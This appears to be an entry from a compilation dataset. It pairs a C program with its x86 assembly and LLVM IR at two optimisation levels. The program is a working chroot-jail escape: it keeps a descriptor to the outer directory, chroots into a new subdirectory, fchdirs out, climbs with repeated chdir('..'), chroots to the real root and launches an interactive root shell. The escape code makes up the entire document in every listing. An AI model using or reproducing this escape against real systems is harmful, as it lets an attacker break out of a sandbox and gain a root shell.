#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ O_RDONLY;
int /*<<< orphan*/ chdir(char *);
int /*<<< orphan*/ chroot(char *);
int /*<<< orphan*/ close(int);
int execl(char *, char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ fchdir(int);
int /*<<< orphan*/ mkdir(char *, int);
int open(char *, int /*<<< orphan*/);
int /*<<< orphan*/ setgid(int /*<<< orphan*/);
int /*<<< orphan*/ setuid(int /*<<< orphan*/);
int main() {
  int dir_fd, x;
  setuid(0);
  setgid(0);
  mkdir("._.", 0755);
  dir_fd = open(".", O_RDONLY);
  chroot("._.");
  fchdir(dir_fd);
  close(dir_fd);
  for (x = 0; x < 1000; x++)
    chdir("..");
  chroot(".");
  return execl("/bin/sh", "-i", NULL);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
xor    %edi,%edi
call   10a0 <setuid@plt>
xor    %edi,%edi
call   1080 <setgid@plt>
lea    0xe4c(%rip),%rdi
mov    $0x1ed,%esi
call   1040 <mkdir@plt>
mov    0x2e23(%rip),%rax
mov    (%rax),%esi
lea    0xe37(%rip),%rdi
call   1090 <open@plt>
mov    %eax,-0x8(%rbp)
lea    0xe23(%rip),%rdi
call   1030 <chroot@plt>
mov    -0x8(%rbp),%edi
call   1070 <fchdir@plt>
mov    -0x8(%rbp),%edi
call   1060 <close@plt>
movl   $0x0,-0xc(%rbp)
cmpl   $0x3e8,-0xc(%rbp)
jge    1220 <main+0x90>
lea    0xdf7(%rip),%rdi
call   1050 <chdir@plt>
mov    -0xc(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0xc(%rbp)
jmp    11f9 <main+0x69>
lea    0xdde(%rip),%rdi
call   1030 <chroot@plt>
lea    0xdd4(%rip),%rdi
lea    0xdd5(%rip),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   10b0 <execl@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %rbx
push   %rax
xor    %edi,%edi
call   10a0 <setuid@plt>
xor    %edi,%edi
call   1080 <setgid@plt>
lea    0xe58(%rip),%rbx
mov    %rbx,%rdi
mov    $0x1ed,%esi
call   1040 <mkdir@plt>
mov    0x2e2c(%rip),%rax
mov    (%rax),%esi
lea    0xe40(%rip),%rdi
call   1090 <open@plt>
mov    %eax,%ebp
mov    %rbx,%rdi
call   1030 <chroot@plt>
mov    %ebp,%edi
call   1070 <fchdir@plt>
mov    %ebp,%edi
call   1060 <close@plt>
mov    $0x3e8,%ebp
lea    0xe16(%rip),%rbx
xchg   %ax,%ax
mov    %rbx,%rdi
call   1050 <chdir@plt>
add    $0xffffffff,%ebp
jne    11f0 <main+0x60>
lea    0xe01(%rip),%rdi
call   1030 <chroot@plt>
lea    0xdf7(%rip),%rdi
lea    0xdf8(%rip),%rsi
xor    %edx,%edx
add    $0x8,%rsp
pop    %rbx
pop    %rbp
jmp    10b0 <execl@plt>

LLVM IR (-O0):
@.str = [4 x i8] c"._.\00"
@.str.1 = [2 x i8] c".\00"
@O_RDONLY = global i32 0
@.str.2 = [3 x i8] c"..\00"
@.str.3 = [8 x i8] c"/bin/sh\00"
@.str.4 = [3 x i8] c"-i\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
store i32 0, i32* %1
%4 = call i32 @setuid(i32 0)
%5 = call i32 @setgid(i32 0)
%6 = call i32 @mkdir(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0), i32 493)
%7 = load i32, i32* @O_RDONLY
%8 = call i32 @open(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0), i32 %7)
store i32 %8, i32* %2
%9 = call i32 @chroot(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0))
%10 = load i32, i32* %2
%11 = call i32 @fchdir(i32 %10)
%12 = load i32, i32* %2
%13 = call i32 @close(i32 %12)
store i32 0, i32* %3
br label %14
14: ; preds = %19, %0
%15 = load i32, i32* %3
%16 = icmp slt i32 %15, 1000
br i1 %16, label %17, label %22
17: ; preds = %14
%18 = call i32 @chdir(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0))
br label %19
19: ; preds = %17
%20 = load i32, i32* %3
%21 = add nsw i32 %20, 1
store i32 %21, i32* %3
br label %14
22: ; preds = %14
%23 = call i32 @chroot(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
%24 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.4, i64 0, i64 0), i32* null)
ret i32 %24
}

LLVM IR (-O2):
@.str = [4 x i8] c"._.\00"
@.str.1 = [2 x i8] c".\00"
@O_RDONLY = global i32 0
@.str.2 = [3 x i8] c"..\00"
@.str.3 = [8 x i8] c"/bin/sh\00"
@.str.4 = [3 x i8] c"-i\00"
define i32 @main() {
%1 = tail call i32 @setuid(i32 0)
%2 = tail call i32 @setgid(i32 0)
%3 = tail call i32 @mkdir(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0), i32 493)
%4 = load i32, i32* @O_RDONLY
%5 = tail call i32 @open(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0), i32 %4)
%6 = tail call i32 @chroot(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0))
%7 = tail call i32 @fchdir(i32 %5)
%8 = tail call i32 @close(i32 %5)
br label %9
9: ; preds = %0, %9
%10 = phi i32 [ 0, %0 ], [ %12, %9 ]
%11 = tail call i32 @chdir(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0))
%12 = add nuw nsw i32 %10, 1
%13 = icmp eq i32 %12, 1000
br i1 %13, label %14, label %9
14: ; preds = %9
%15 = tail call i32 @chroot(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
%16 = tail call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.4, i64 0, i64 0), i32* null)
ret i32 %16
}